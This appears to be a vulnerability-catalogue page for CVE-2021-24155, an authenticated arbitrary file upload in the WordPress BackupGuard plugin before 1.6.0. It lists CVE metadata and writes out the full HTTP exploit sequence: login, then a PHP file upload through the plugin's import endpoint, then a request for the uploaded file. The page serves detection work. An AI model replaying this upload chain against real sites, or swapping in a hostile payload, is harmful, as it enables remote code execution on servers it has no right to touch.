🔙 목록으로 돌아가기

CVE-2021-24155: WordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload

TitleWordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload
Authortheamanrawat
SeverityHigh
ImpactRemote code execution
RemediationFixed in version 1.6.0.
CVSS Score7.2
EPSS Score0.93251
CVE IDCVE-2021-24155
CWE IDCWE-434
Tags cve cve2021 authenticated wp packetstorm wp-plugin rce wordpress backup wpscan intrusive backup-guard vuln

🔍 Vulnerability Description

WordPress Backup Guard plugin before 1.6.0 is susceptible to authenticated arbitrary file upload. The plugin does not ensure that imported files are in SGBP format and extension, allowing high-privilege users to upload arbitrary files, including PHP, possibly leading to remote code execution.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=XZXvX1&pwd=kWcgUT&wp-submit=Log+In
GET /wp-admin/admin.php?page=backup_guard_backups HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php?action=backup_guard_importBackup&token=8X22rZ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0, Win64, x64, rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Content-Length: 292
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=---------------------------204200867127808062083805313921
Accept-Encoding: gzip

-----------------------------204200867127808062083805313921

Content-Disposition: form-data; name="files[]"; filename="38FG3F8sscBFHUnrOs9xDlSnylA.php"

Content-Type: application/x-php



<?php



echo "CVE-2021-24155";



?>



-----------------------------204200867127808062083805313921--
GET /wp-content/uploads/backup-guard/38FG3F8sscBFHUnrOs9xDlSnylA.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24155.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24155.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A